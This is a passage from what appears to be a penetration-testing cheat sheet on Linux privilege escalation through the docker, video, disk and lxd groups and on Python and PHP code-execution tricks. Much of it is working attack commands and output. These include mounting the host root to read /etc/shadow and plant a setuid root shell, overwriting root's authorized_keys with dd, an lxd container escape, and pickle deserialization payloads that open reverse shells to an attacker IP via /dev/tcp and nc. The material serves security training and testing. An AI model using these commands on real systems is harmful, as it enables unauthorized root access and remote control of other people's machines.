docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat shadow' # root:!:16364:0:99999:7::: # daemon:*:16176:0:99999:7::: # bin:*:16176:0:99999:7::: # ...
- Bind the host’s / and overwrite system commands with rogue programs:
docker run -v /:/stuff -t my-docker-image /bin/sh -c 'cp /stuff/rogue-program /stuff/bin/cat'
- Privileged copy of bash for later access?
docker run -v /:/stuff -t my-docker-image /bin/sh -c 'cp /stuff/bin/bash /stuff/bin/root-shell-ftw && chmod a+s /stuff/bin/root-shell-ftw' root-shell-ftw -p root-shell-ftw-4.3#
Video
If the user is a part of the video group, he possibly might have access to the frame buffer (/dev/fb0) (which provides an abstraction for the video hardware), video capture devices, 2D/3D hardware acceleration. More details can be found at Linux Framebuffer and Kernel FramebufferIf, we have access to the framebuffer device /dev/fb0. We can use a tool like fb2png to convert it to a png picture or we can cat it and get a file:
cat /dev/fb0 > screenshot.raw
ls -l screenshot.raw
-rw-rw-r-- 1 user user 4163040 May 18 03:52 screenshot.raw
cat /sys/class/graphics/fb0/virtual_size
1176,885
Disk
Debian’s wiki says about the “disk” group: Raw access to disks. Mostly equivalent to root access. The group disk can be very dangerous, since hard drives in /dev/sd* and /dev/hd* can be read and written bypassing any file system and any partition, allowing a normal user to disclose, alter and destroy both the partitions and the data of such drives without root privileges. Users should never belong to this group.We can use debugfs command to read everything and dd command to write anywhere.
Read /root/.ssh/authorized_keys using debugfs:
user@hostname:/tmp$ debugfs -w /dev/sda1 -R "cat /root/.ssh/authorized_keys"
debugfs 1.42.13 (17-May-2015)
ssh-rsa AAAAB3NzaC1yc2EAAAADAQA
user@hostname:/tmp$ debugfs /dev/sda1 -R "blocks /root/.ssh/authorized_keys"
debugfs 1.42.13 (17-May-2015)
1608806
user@hostname:/tmp$ dd if=/tmp/id_rsa.pub of=/dev/sda1 seek=1608806 bs=4096 count=1
0+1 records in
0+1 records out
394 bytes copied, 0.00239741 s, 164 kB/s
user@hostname:/tmp$ sync
user@hostname:/tmp$ debugfs -w /dev/sda1 -R "cat /root/.ssh/authorized_keys"
debugfs 1.42.13 (17-May-2015)
ssh-rsa AAAAB3NzaC1yc2EAAAADAQA
Set file system
> debugfs /dev/hda6
debugfs 1.19, 13-Jul-2000 for EXT2 FS 0.5b, 95/08/09
List files
debugfs: ls
2790777 (12) . 32641 (12) .. 2790778 (12) dir1 2790781 (16) file1
2790782 (4044) file2
List the files with a long listing
Format is:- Field 1: Inode number.
- Field 2: First one or two digits is the type of node:
- 2 = Character device
- 4 = Directory
- 6 = Block device
- 10 = Regular file
- 12 = Symbolic link
- The Last four digits are the Linux permissions
- Field 3: Owner uid
- Field 4: Group gid
- Field 5: Size in bytes.
- Field 6: Date
- Field 7: Time of last creation.
- Field 8: Filename.
debugfs: ls -l
2790777 40700 2605 2601 4096 5-Nov-2001 15:30 .
32641 40755 2605 2601 4096 5-Nov-2001 14:25 ..
2790778 40700 2605 2601 4096 5-Nov-2001 12:43 dir1
2790781 100600 2605 2601 14 5-Nov-2001 15:29 file1
2790782 100600 2605 2601 14 5-Nov-2001 15:30 file2
Dump the contents of file1
debugfs: cat file1
This is file1
Dump an inode to a file
Same as cat, but to a file and using inode number instead of the file name.debugfs: dump <2790782> file1-debugfs
LXD
The below has been taken from LXD-EscapeLXD is Ubuntu’s container manager utilising linux containers. It could be considered to act in the same sphere as docker. The lxd group should be considered harmful in the same way the docker group is. Under no circumstances should a user in a local container be given access to the lxd group.
Exploiting
ubuntu@ubuntu:~$ lxc init ubuntu:16.04 test -c security.privileged=true
Creating test
ubuntu@ubuntu:~$ lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
Device whatever added to test
ubuntu@ubuntu:~$ lxc start test
ubuntu@ubuntu:~$ lxc exec test bash
ubuntu@ubuntu:~$ lxc exec test bash
root@test:~# cd /mnt/root
root@test:/mnt/root# ls
bin cdrom etc initrd.img lib64 media opt root sbin srv tmp var
boot dev home lib lost+found mnt proc run snap sys usr vmlinuz
root@test:/mnt/root# cd root
root@test:/mnt/root/root# ls
root@test:/mnt/root/root# touch ICanDoWhatever
root@test:/mnt/root/root# exit
exit
Appendix-V Coding Languages Tricks
Python
Pickle
If a website is using pickle to serialize and de-serialize the requests and probably using a unsafe way likecPickle.loads(data)
we may use
class Shell_code(object):
def __reduce__(self):
return (os.system,('/bin/bash -i >& /dev/tcp/"Client IP"/"Listening PORT" 0>&1',))
or return (os.system,('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 10.10.14.XX 4444 >/tmp/f',))
shell = cPickle.dumps(Shell_code())
cposix
system
p1
(S'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 10.10.14.XX 4444 >/tmp/f'
p2
tp3
Rp4
.
b'\x80\x03cposix\nsystem\nq\x00XT\x00\x00\x00/rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 10.10.14.26 4444 >/tmp/fq\x01\x85q\x02Rq\x03.'
import _pickle as cPickle
import cPickle
#data.txt containing our Pickled data
import cPickle
path = "/tmp/data.txt"
data = open(path, "rb").read()
item = cPickle.loads(data)
Tip
It might be good idea to use requests (in case of Website) or socket (in case of listener) to send the payload.
PHP
Preg_Replace
PHP’s preg_replace() function which can lead to RCE. It’s deprecated in later revisions (PHP >= 5.5.0). If you think there’s a pattern which is replaced in a text, refer The unexpected dangers of preg_replace() and Exploiting PHP PCRE Functions Under most circumstances the PCRE engine is completely safe. It does, however, provide the /e modifier which allows evaluation of PHP code in the preg_replace function. This can be extremely dangerous if used carelessly.Complex Curly Syntax
PHP has Complex (curly) syntax The Complex Syntax to allow evaluation of our own code in double quotes.Example
$use_me = "ls -lah"
{${system($use_me)}}
Xdebug
If you find uncommon headers such as xdebug in the response, it might be possible to get a reverse shell. Xdebug is a php extension that allows to debug php pages, remotely by using DGBp protocol. Code execution is possible via injections that exist in eval or property_set xdebug commands. Refer xpwn - exploiting xdebug enabled servers and xdebug-shellType Juggling/ Magic Bytes
Type juggling in PHP is caused by an issue of loose operations versus strict operations. Strict comparisons will compare both the data values and the types associated to them. A loose comparison will use context to understand what type the data is. According to PHP documentation for comparison operations at Language Operators ComparisonIf you compare a number with a string or the comparison involves numerical strings, then each string is converted to a number and the comparison performed numerically. These rules also apply to the switch statement. The type conversion does not take place when the comparison is === or !== as this involves comparing the type as well as the value.
So, if == or != is used to do the comparison or the password checks and if md5(of a string/number) results in a hash starting with 0e, there might be a possibility of bug.
Refer Magic Hashes, PHP Weak Typing Woes; With Some Pontification about Code and Pen Testing and Writing Exploits For Exotic Bug Classes: PHP Type Juggling
